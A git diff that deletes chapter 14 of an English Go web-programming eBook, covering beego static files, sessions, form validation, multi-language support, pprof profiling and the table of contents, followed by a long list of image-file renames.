b/en/eBook/14.1.md deleted file mode 100644 index 125b7761..00000000 --- a/en/eBook/14.1.md +++ /dev/null @@ -1,79 +0,0 @@ -# 14.1 Static files - -As we have already talked about how to deal with static files, this section we detail how to set up and use in beego static files inside. By then introduce a twitter open source html, css framework bootstrap, without a lot of design work we can let you quickly create a beautiful site. - -## Beego static files and settings to achieve - -Go's net/ http package provides a static file serving, `ServeFile` and `FileServer` other functions. beego static file processing is handled based on this layer, the specific implementation is as follows: - - //static file server - for prefix, staticDir := range StaticDir { - if strings.HasPrefix(r.URL.Path, prefix) { - file := staticDir + r.URL.Path[len(prefix):] - http.ServeFile(w, r, file) - w.started = true - return - } - } - -StaticDir is stored inside the corresponding URL corresponds to a static file directory, so handle URL requests when the request need only determine whether the address corresponding to the beginning of the process contains static URL, if included on the use http.ServeFile provide services. - -Examples are as follows: - - beego.StaticDir["/asset"] = "/static" - -Example. Then the request url `http://www.beego.me/asset/bootstrap.css` will request `/static/bootstrap.css` for the client. - -## Bootstrap integration - -Bootstrap is Twitter launched an open source toolkit for front-end development. For developers, Bootstrap is the rapid development of the best front-end Web application toolkit. It is a collection of CSS and HTML, it uses the latest HTML5 standard, to your Web development offers stylish typography, forms, buttons, tables, grids, systems, etc. - -- Components -Bootstrap contains a wealth of Web components, according to these components, you can quickly build a beautiful, fully functional website. Which includes the following components: -Pull-down menus, buttons, groups, buttons drop-down menus, navigation, navigation bar, bread crumbs, pagination, layout, thumbnails, warning dialog, progress bars, and other media objects -- JavaScript plugin -Bootstrap comes with 13 jQuery plug-ins for the Bootstrap a component gives"life." Including: -Modal dialog, tab, scroll bars, pop-up box and so on. -- Customize your own framework code -Bootstrap in can modify all CSS variables, according to their own needs clipping code. - -![](images/14.1.bootstrap.png?raw=true) - -Figure 14.1 bootstrap site - -Next, we use the bootstrap into beego frame inside, quickly create a beautiful site. - -1. First to download the bootstrap directory into our project directory, named as static, as shown in the screenshot. - - ![](images/14.1.bootstrap2.png?raw=true) - - Figure 14.2 Project static file directory structure - -2. Because beego default values ​​set StaticDir, so if your static files directory is static, then you need not go any further: - - StaticDir["/static"] = "static" - -3. templates use the following address on it: - - // css file - - - // js file - - - // Picture files - - -The above can be achieved to bootstrap into beego in the past, as demonstrated in Figure is the integration of the show came after renderings: - -![](images/14.1.bootstrap3.png?raw=true) - -Figure 14.3 Construction site interface based bootstrap - -These templates and formats bootstrap official has to offer will not be repeated here paste code, we can bootstrap on the official website to learn how to write templates. - -## Links - -- [Directory](preface.md) -- Previous section: [Develop web framework](14.0.md) -- Next section: [Session](14.2.md) diff --git a/en/eBook/14.2.md b/en/eBook/14.2.md deleted file mode 100644 index 33774a29..00000000 --- a/en/eBook/14.2.md +++ /dev/null @@ -1,105 +0,0 @@ -# 14.2 Session - -Chapter VI, when we saw how to use the Go language session, also achieved a sessionManger, beego sessionManager based framework to achieve a convenient session handling functions. - -## Session integration -beego mainly in the following global variables to control the session handling: - - // related to session - SessionOn bool // whether to open the session module, the default is not open - SessionProvider string // session backend processing module provided, the default is sessionManager supported memory - SessionName string // client name saved in cookies - SessionGCMaxLifetime int64 // cookies validity - - GlobalSessions *session.Manager// global session controller - -Of course, the above values of these variables need to be initialized, you can also follow the code to match the configuration file to set these values: - - if ar, err := AppConfig.Bool("sessionon"); err != nil { - SessionOn = false - } else { - SessionOn = ar - } - if ar := AppConfig.String("sessionprovider"); ar == "" { - SessionProvider = "memory" - } else { - SessionProvider = ar - } - if ar := AppConfig.String("sessionname"); ar == "" { - SessionName = "beegosessionID" - } else { - SessionName = ar - } - if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 { - int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64) - SessionGCMaxLifetime = int64val - } else { - SessionGCMaxLifetime = 3600 - } - -In beego.Run function to add the following code: - - if SessionOn { - GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime) - go GlobalSessions.GC() - } - -So long SessionOn set to true, then it will open the session by default function to open an independent goroutine to handle session. - -In order to facilitate our custom Controller quickly using session, the author `beego.Controller` provides the following methods: - - func (c *Controller) StartSession() (sess session.Session) { - sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request) - return - } - -## Session using - -Through the above code we can see, beego framework simply inherit the session function, then how to use it in your project ? - -First, we need to apply the main entrance open session: - - beego.SessionOn = true - - -We can then corresponding method in the controller to use the session as follows: the - - func (this *MainController) Get() { - var intcount int - sess := this.StartSession() - count := sess.Get("count") - if count == nil { - intcount = 0 - } else { - intcount = count.(int) - } - intcount = intcount + 1 - sess.Set("count", intcount) - this.Data["Username"] = "astaxie" - this.Data["Email"] = "astaxie@gmail.com" - this.Data["Count"] = intcount - this.TplNames = "index.tpl" - } - -The above code shows how to use the control logic session, mainly divided into two steps: - -1. Get session object - - // Get the object, similar in PHP session_start() - sess:= this.StartSession() - -2. to use the session for general session value operation - - // Get the session values , similar in PHP $ _SESSION ["count"] - sess.Get("count") - - // Set the session value - sess.Set("count", intcount) - -As can be seen from the above code beego framework based applications developed using the session quite easy, basically, and PHP to call `session_start()` similar. - -## Links - -- [Directory](preface.md) -- Previous section: [Static files](14.1.md) -- Next section: [Form](14.3.md) diff --git a/en/eBook/14.3.md b/en/eBook/14.3.md deleted file mode 100644 index 087bc35e..00000000 --- a/en/eBook/14.3.md +++ /dev/null @@ -1,350 +0,0 @@ -# 14.3 Form - -In Web Development For such a process may be very familiar: - -- Open a web page showing the form. -- Users fill out and submit the form. -- If a user submits some invalid information, or you might have missed a required item, the form will be together with the user's data and the error description of the problem to return. -- Users fill in again to continue the previous step process until the submission of a valid form. - -At the receiving end, the script must: - -- Check the user submitted form data. -- Verify whether the data is the correct type, the appropriate standard. For example, if a user name is submitted, it must be verified whether or contains only characters allowed. It must have a minimum length can not exceed the maximum length. User name can not already exist with others duplicate user name, or even a reserved word and so on. -- Filtering data and clean up the unsafe character that guarantees a logic processing received data is safe. -- If necessary, pre-formatted data( or data gaps need to be cleared through the HTML coding and so on. ) -- Preparing the data into the database. - -While the above process is not very complex, but usually need to write a lot of code, and in order to display an error message on the page often use a variety of different control structures. Create a form validation, although simple to implement it boring. - -## Forms and validation - -For developers, the general development process is very complex, and mostly are repeating the same work. Assuming a scenario project suddenly need to add a form data, then the local code of the entire process needs to be modified. We know that Go inside a struct is a common data structure, so beego the form struct used to process form information. - -First define a developing Web applications corresponding struct, a field corresponds to a form element, through the struct tag to define the corresponding element information and authentication information, as follows: - - type User struct{ - Username string `form:text,valid:required` - Nickname string `form:text,valid:required` - Age int `form:text,valid:required|numeric` - Email string `form:text,valid:required|valid_email` - Introduce string `form:textarea` - } - -Struct defined in this way after the next operation in the controller - - func (this *AddController) Get() { - this.Data["form"] = beego.Form(&User{}) - this.Layout = "admin/layout.html" - this.TplNames = "admin/add.tpl" - } - -This form is displayed in the template - -

New Blog Post

-
- {{.form.render()}} -
- -Above we defined the entire first step to display the form from the struct process, the next step is the user fill out the information, and then verify that the server receives data, and finally into the database. - - func (this *AddController) Post() { - var user User - form := this.GetInput(&user) - if !form.Validates() { - return - } - models.UserInsert(&user) - this.Ctx.Redirect(302, "/admin/index") - } - -## Form type - -The following list to the corresponding form element information: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NameparameterDescription
text - Notextbox input box
button - Nobutton
checkbox - Nomulti-select box
dropdown - Nodrop-down selection box
file - Nofile upload
hidden - Nohidden elements
password - Nopassword input box
radio - Nosingle box
textarea - Notext input box
- - -## Forms authentication - -The following list may be used are listed rules native: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
rulesparameterDescriptionExample
required - NoIf the element is empty, it returns FALSE
matches - Yesif the form element's value with the corresponding form field parameter values are not equal, then return - FALSEmatches [form_item]
is_unique - Yesif the form element's value with the specified field in a table have duplicate data, it returns False( Translator's - Note: For example is_unique [User.Email], then the validation class will look for the User table in the - Email field there is no form elements with the same value, such as deposit repeat, it returns false, so - developers do not have to write another Callback verification code.)is_unique [table.field]
min_length - Yesform element values if the character length is less than the number defined parameters, it returns FALSEmin_length [6]
max_length - Yesif the form element's value is greater than the length of the character defined numeric argument, it returns - FALSEmax_length [12]
exact_length - Yesif the form element values and parameters defined character length number does not match, it returns FALSEexact_length [8]
greater_than - YesIf the form element values non- numeric types, or less than the value defined parameters, it returns FALSEgreater_than [8]
less_than - YesIf the form element values non- numeric types, or greater than the value defined parameters, it returns FALSEless_than [8]
alpha - NoIf the form element value contains characters other than letters besides, it returns FALSE
alpha_numeric - NoIf the form element values contained in addition to letters and other characters other than numbers, it returns - FALSE
alpha_dash - NoIf the form element value contains in addition to the letter/ number/ underline/ characters other than dash, - returns FALSE
numeric - NoIf the form element value contains characters other than numbers in addition, it returns FALSE
integer - Noexcept if the form element contains characters other than an integer, it returns FALSE
decimal - YesIf the form element type( non- decimal ) is not complete, it returns FALSE
is_natural - Novalue if the form element contains a number of other unnatural values ( other values excluding zero ), it - returns FALSE. Natural numbers like this: 0,1,2,3.... and so on.
is_natural_no_zero - Novalue if the form element contains a number of other unnatural values ( other values including zero ), it - returns FALSE. Nonzero natural numbers: 1,2,3..... and so on.
valid_email - NoIf the form element value contains invalid email address, it returns FALSE
valid_emails - Noform element values if any one value contains invalid email address( addresses separated by commas in English - ), it returns FALSE.
valid_ip - Noif the form element's value is not a valid IP address, it returns FALSE.
valid_base64 - Noif the form element's value contains the base64-encoded characters in addition to other than the characters, - returns FALSE.
- -## Links - -- [Directory](preface.md) -- Previous section: [Session](14.2.md) -- Next section: [User validation](14.4.md) - diff --git a/en/eBook/14.5.md b/en/eBook/14.5.md deleted file mode 100644 index f656bc6c..00000000 --- a/en/eBook/14.5.md +++ /dev/null @@ -1,118 +0,0 @@ -# 14.5 Multi-language support - -We introduced in Chapter internationalization and localization, we developed a go-i18n library, the library this section we will integrate beego frame inside, making our framework supports internationalization and localization. - -## I18n integration - -beego global variable is set as follows: - - Translation i18n.IL - Lang string // set the language pack, zh, en - LangPath string // set the language pack location - -Multi-language function to initialize: - - func InitLang(){ - beego.Translation:=i18n.NewLocale() - beego.Translation.LoadPath(beego.LangPath) - beego.Translation.SetLocale(beego.Lang) - } - -In order to facilitate more direct call in the template language pack, we have designed three functions to handle the response of multiple languages: - - beegoTplFuncMap["Trans"] = i18n.I18nT - beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate - beegoTplFuncMap["TransMoney"] = i18n.I18nMoney - - func I18nT(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return beego.Translation.Translate(s) - } - - func I18nTimeDate(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return beego.Translation.Time(s) - } - - func I18nMoney(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return beego.Translation.Money(s) - } - -## Use multi-language development - -1. Set the location of language and language packs, then initialize the i18n objects: - - beego.Lang = "zh" - beego.LangPath = "views/lang" - beego.InitLang() - -2. Design Multi-language Pack - - The above talked about how to initialize multi language pack, the language pack is now designing multi, multi-language package is json file, as described in Chapter X, we need to design a document on LangPath following example zh.json or en.json - - # zh.json - - { - "zh": { - "submit": "提交", - "create": "创建" - } - } - - #en.json - - { - "en": { - "submit": "Submit", - "create": "Create" - } - } - -3. Use the Language Pack - - We can call the controller to get the response of the translation language translation, as follows: - - func (this *MainController) Get() { - this.Data["create"] = beego.Translation.Translate("create") - this.TplNames = "index.tpl" - } - - We can also directly call response in the template translation function: - - // Direct Text translation - {{.create | Trans}} - - // Time to translate - {{.time | TransDate}} - - // Currency translation - {{.money | TransMoney}} - -## Links - -- [Directory](preface.md) -- Previous section: [User validation](14.4.md) -- Next section: [pprof](14.6.md) - diff --git a/en/eBook/14.6.md b/en/eBook/14.6.md deleted file mode 100644 index e22d46ab..00000000 --- a/en/eBook/14.6.md +++ /dev/null @@ -1,110 +0,0 @@ -# 14.6 pprof - -Go language has a great design is the standard library with code performance monitoring tools, there are packages in two places: - - net/http/pprof - - runtime/pprof - -In fact, `net/http/pprof` in just using `runtime/pprof` package for packaging a bit, and exposed on the http port - -## Beego support pprof - -Currently beego framework adds pprof, this feature is not turned on by default, if you need to test performance, view the execution goroutine such information, in fact, Go's default package "net/http/pprof" already has this feature, and if Go manner in accordance with the default Web, you can use the default, but because beego repackaged ServHTTP function, so if you can not open the default includes this feature, so the need for internal reform beego support pprof. - -- First in beego.Run function automatically according to whether the variable load performance pack - - if PprofOn { - BeeApp.RegisterController(`/debug/pprof`, &ProfController{}) - BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{}) - } - -- Design ProfConterller - - package beego - - import ( - "net/http/pprof" - ) - - type ProfController struct { - Controller - } - - func (this *ProfController) Get() { - switch this.Ctx.Params[":pp"] { - default: - pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) - case "": - pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) - case "cmdline": - pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request) - case "profile": - pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request) - case "symbol": - pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request) - } - this.Ctx.ResponseWriter.WriteHeader(200) - } - - -## Getting started - -Through the above design, you can use the following code to open pprof: - - beego.PprofOn = true - -Then you can open in a browser the following URL to see the following interface: - -![](images/14.6.pprof.png?raw=true) - -Figure 14.7 current system goroutine, heap, thread information - -Click goroutine we can see a lot of detailed information: - -![](images/14.6.pprof2.png?raw=true) - -Figure 14.8 shows the current goroutine details - -We can also get more details from the command line information - - go tool pprof http://localhost:8080/debug/pprof/profile - -This time the program will enter the profile collection time of 30 seconds, during which time desperately to refresh the page on the browser, try to make cpu usage performance data. - - (pprof) top10 - - Total: 3 samples - - 1 33.3% 33.3% 1 33.3% MHeap_AllocLocked - - 1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors - - 1 33.3% 100.0% 1 33.3% runtime.sigprocmask - - 0 0.0% 100.0% 1 33.3% MCentral_Grow - - 0 0.0% 100.0% 2 66.7% main.Compile - - 0 0.0% 100.0% 2 66.7% main.compile - - 0 0.0% 100.0% 2 66.7% main.run - - 0 0.0% 100.0% 1 33.3% makeslice1 - - 0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP - - 0 0.0% 100.0% 2 66.7% net/http.(*conn).serve - - (pprof)web - -![](images/14.6.pprof3.png?raw=true) - -Figure 14.9 shows the execution flow of information - -## Links - -- [Directory](preface.md) -- Previous section: [Multi-language support](14.5.md) -- Next section: [Summary](14.7.md) - diff --git a/en/eBook/14.7.md b/en/eBook/14.7.md deleted file mode 100644 index a10dd446..00000000 --- a/en/eBook/14.7.md +++ /dev/null @@ -1,10 +0,0 @@ -# 14.7 Summary - -This chapter explains how to extend the framework based on beego, which includes support for static files, static files, mainly about how to use beego for rapid web development using bootstrap to build a beautiful site; second summary explaining how beego in integrated sessionManager, user-friendly in use beego quickly when using session; Third Summary describes the forms and validation, based on the Go language allows us to define a struct in the process of developing Web from repetitive work of liberation, and joined the after verification of data security can be as far as possible, the fourth summary describes the user authentication, user authentication, there are three main requirements, http basic and http digest certification, third party certification, custom certification through code demonstrates how to use the existing section tripartite package integrated into beego applications to achieve these certifications; fifth section describes multi-language support, beego integrated go-i18n this multi-language pack, users can easily use the library develop multi-language Web applications; section six subsections describe how to integrate Go's pprof packages, pprof package is used for performance debugging tools, after the transformation by beego integrated pprof package, enabling users to take advantage of pprof test beego based applications developed by these six subsections introduces us to expand out a relatively strong beego framework that is sufficient to meet most of the current Web applications, users can continue to play to their imagination to expand, I am here only a brief introduction I can think of to compare several important extensions. - -## Links - -- [Directory](preface.md) -- Previous section: [pprof](14.6.md) -- Next chapter: [Appendix A References](ref.md) - diff --git a/en/eBook/images/13.1.flow.png b/en/eBook/images/13.1.flow.png deleted file mode 100644 index b47e5bfc..00000000 Binary files a/en/eBook/images/13.1.flow.png and /dev/null differ diff --git a/en/eBook/preface.md b/en/eBook/preface.md deleted file mode 100644 index 58da2dc1..00000000 --- a/en/eBook/preface.md +++ /dev/null @@ -1,96 +0,0 @@ -- 1.[Go environment configuration](01.0.md) - - 1.1. [Installation](01.1.md) - - 1.2. [$GOPATH and workspace](01.2.md) - - 1.3. [Go commands](01.3.md) - - 1.4. [Go development tools](01.4.md) - - 1.5. [Summary](01.5.md) -- 2.[Go basic knowledge](02.0.md) - - 2.1. ["Hello, Go"](02.1.md) - - 2.2. [Go foundation](02.2.md) - - 2.3. [Control statements and functions](02.3.md) - - 2.4. [struct](02.4.md) - - 2.5. [Object-oriented](02.5.md) - - 2.6. [interface](02.6.md) - - 2.7. [Concurrency](02.7.md) - - 2.8. [Summary](02.8.md) -- 3.[Web foundation](03.0.md) - - 3.1. [Web working principles](03.1.md) - - 3.2. [Build a simple web server](03.2.md) - - 3.3. [How Go works with web](03.3.md) - - 3.4. [Get into http package](03.4.md) - - 3.5. [Summary](03.5.md) -- 4.[User form](04.0.md) - - 4.1. [Process form inputs](04.1.md) - - 4.2. [Verification of inputs](04.2.md) - - 4.3. [Cross site scripting](04.3.md) - - 4.4. [Duplicate submissions](04.4.md) - - 4.5. [File upload](04.5.md) - - 4.6. [Summary](04.6.md) -- 5.[Database](05.0.md) - - 5.1. [database/sql interface](05.1.md) - - 5.2. [MySQL](05.2.md) - - 5.3. [SQLite](05.3.md) - - 5.4. [PostgreSQL](05.4.md) - - 5.5. [Develop ORM based on beedb](05.5.md) - - 5.6. [NoSQL database](05.6.md) - - 5.7. [Summary](05.7.md) -- 6.[Data storage and session](06.0.md) - - 6.1. [Session and cookies](06.1.md) - - 6.2. [How to use session in Go](06.2.md) - - 6.3. [Session storage](06.3.md) - - 6.4. [Prevent hijack of session](06.4.md) - - 6.5. [Summary](06.5.md) -- 7.[Text files](07.0.md) - - 7.1. [XML](07.1.md) - - 7.2. [JSON](07.2.md) - - 7.3. [Regexp](07.3.md) - - 7.4. [Templates](07.4.md) - - 7.5. [Files](07.5.md) - - 7.6. [Strings](07.6.md) - - 7.7. [Summary](07.7.md) -- 8.[Web services](08.0.md) - - 8.1. [Sockets](08.1.md) - - 8.2. [WebSocket](08.2.md) - - 8.3. [REST](08.3.md) - - 8.4. [RPC](08.4.md) - - 8.5. [Summary](08.5.md) -- 9.[Security and encryption](09.0.md) - - 9.1. [CSRF attacks](09.1.md) - - 9.2. [Filter inputs](09.2.md) - - 9.3. [XSS attacks](09.3.md) - - 9.4. [SQL injection](09.4.md) - - 9.5. [Password storage](09.5.md) - - 9.6. [Encrypt and decrypt data](09.6.md) - - 9.7. [Summary](09.7.md) -- 10.[Internationalization and localization](10.0.md) - - 10.1 [Time zone](10.1.md) - - 10.2 [Localized resources](10.2.md) - - 10.3 [International sites](10.3.md) - - 10.4 [Summary](10.4.md) -- 11.[Error handling, debugging and testing](11.0.md) - - 11.1. [Error handling](11.1.md) - - 11.2. [Debugging by using GDB](11.2.md) - - 11.3. [Write test cases](11.3.md) - - 11.4. [Summary](11.4.md) -- 12.[Deployment and maintenance](12.0.md) - - 12.1. [Logs](12.1.md) - - 12.2. [Errors and crashes](12.2.md) - - 12.3. [Deployment](12.3.md) - - 12.4. [Backup and recovery](12.4.md) - - 12.5. [Summary](12.5.md) -- 13.[Build a web framework](13.0.md) - - 13.1. [Project program](13.1.md) - - 13.2. [Customized routers](13.2.md) - - 13.3. [Design controllers](13.3.md) - - 13.4. [Logs and configurations](13.4.md) - - 13.5. [Add, delete and update blogs](13.5.md) - - 13.6. [Summary](13.6.md) -- 14.[Develop web framework](14.0.md) - - 14.1. [Static files](14.1.md) - - 14.2. [Session](14.2.md) - - 14.3. [Form](14.3.md) - - 14.4. [User validation](14.4.md) - - 14.5. [Multi-language support](14.5.md) - - 14.6. [pprof](14.6.md) - - 14.7. [Summary](14.7.md) -- Appendix A [References](ref.md) \ No newline at end of file diff --git a/en/eBook/images/1.1.cmd.png b/en/images/1.1.cmd.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.1.cmd.png rename to en/images/1.1.cmd.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.1.cmd.png b/en/images/1.1.cmd.png~update the structure for gitbook similarity index 100% rename from en/images/1.1.cmd.png rename to en/images/1.1.cmd.png~update the structure for gitbook diff --git a/en/images/1.1.linux.png b/en/images/1.1.linux.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/images/1.1.linux.png rename to en/images/1.1.linux.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/eBook/images/1.1.linux.png b/en/images/1.1.linux.png~update the structure for gitbook similarity index 100% rename from en/eBook/images/1.1.linux.png rename to en/images/1.1.linux.png~update the structure for gitbook diff --git a/en/images/1.1.mac.png b/en/images/1.1.mac.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/images/1.1.mac.png rename to en/images/1.1.mac.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/eBook/images/1.1.mac.png b/en/images/1.1.mac.png~update the structure for gitbook similarity index 100% rename from en/eBook/images/1.1.mac.png rename to en/images/1.1.mac.png~update the structure for gitbook diff --git a/en/eBook/images/1.3.go.png b/en/images/1.3.go.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.3.go.png rename to en/images/1.3.go.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.3.go.png b/en/images/1.3.go.png~update the structure for gitbook similarity index 100% rename from en/images/1.3.go.png rename to en/images/1.3.go.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.eclipse1.png b/en/images/1.4.eclipse1.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.eclipse1.png rename to en/images/1.4.eclipse1.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.eclipse1.png b/en/images/1.4.eclipse1.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.eclipse1.png rename to en/images/1.4.eclipse1.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.eclipse2.png b/en/images/1.4.eclipse2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.eclipse2.png rename to en/images/1.4.eclipse2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.eclipse2.png b/en/images/1.4.eclipse2.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.eclipse2.png rename to en/images/1.4.eclipse2.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.eclipse3.png b/en/images/1.4.eclipse3.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.eclipse3.png rename to en/images/1.4.eclipse3.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.eclipse3.png b/en/images/1.4.eclipse3.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.eclipse3.png rename to en/images/1.4.eclipse3.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.eclipse4.png b/en/images/1.4.eclipse4.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.eclipse4.png rename to en/images/1.4.eclipse4.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.eclipse4.png b/en/images/1.4.eclipse4.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.eclipse4.png rename to en/images/1.4.eclipse4.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.eclipse5.png b/en/images/1.4.eclipse5.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.eclipse5.png rename to en/images/1.4.eclipse5.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.eclipse5.png b/en/images/1.4.eclipse5.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.eclipse5.png rename to en/images/1.4.eclipse5.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.eclipse6.png b/en/images/1.4.eclipse6.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.eclipse6.png rename to en/images/1.4.eclipse6.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.eclipse6.png b/en/images/1.4.eclipse6.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.eclipse6.png rename to en/images/1.4.eclipse6.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.emacs.png b/en/images/1.4.emacs.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.emacs.png rename to en/images/1.4.emacs.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.emacs.png b/en/images/1.4.emacs.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.emacs.png rename to en/images/1.4.emacs.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.idea1.png b/en/images/1.4.idea1.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.idea1.png rename to en/images/1.4.idea1.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.idea1.png b/en/images/1.4.idea1.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.idea1.png rename to en/images/1.4.idea1.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.idea2.png b/en/images/1.4.idea2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.idea2.png rename to en/images/1.4.idea2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.idea2.png b/en/images/1.4.idea2.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.idea2.png rename to en/images/1.4.idea2.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.idea3.png b/en/images/1.4.idea3.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.idea3.png rename to en/images/1.4.idea3.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.idea3.png b/en/images/1.4.idea3.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.idea3.png rename to en/images/1.4.idea3.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.idea4.png b/en/images/1.4.idea4.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.idea4.png rename to en/images/1.4.idea4.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.idea4.png b/en/images/1.4.idea4.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.idea4.png rename to en/images/1.4.idea4.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.idea5.png b/en/images/1.4.idea5.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.idea5.png rename to en/images/1.4.idea5.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.idea5.png b/en/images/1.4.idea5.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.idea5.png rename to en/images/1.4.idea5.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.liteide.png b/en/images/1.4.liteide.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.liteide.png rename to en/images/1.4.liteide.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.liteide.png b/en/images/1.4.liteide.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.liteide.png rename to en/images/1.4.liteide.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.sublime1.png b/en/images/1.4.sublime1.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.sublime1.png rename to en/images/1.4.sublime1.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.sublime1.png b/en/images/1.4.sublime1.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.sublime1.png rename to en/images/1.4.sublime1.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.sublime2.png b/en/images/1.4.sublime2.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.sublime2.png rename to en/images/1.4.sublime2.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.sublime2.png b/en/images/1.4.sublime2.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.sublime2.png rename to en/images/1.4.sublime2.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.sublime3.png b/en/images/1.4.sublime3.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.sublime3.png rename to en/images/1.4.sublime3.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.sublime3.png b/en/images/1.4.sublime3.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.sublime3.png rename to en/images/1.4.sublime3.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.sublime4.png b/en/images/1.4.sublime4.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/1.4.sublime4.png rename to en/images/1.4.sublime4.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/1.4.sublime4.png b/en/images/1.4.sublime4.png~update the structure for gitbook similarity index 100% rename from en/images/1.4.sublime4.png rename to en/images/1.4.sublime4.png~update the structure for gitbook diff --git a/en/eBook/images/1.4.vim.png 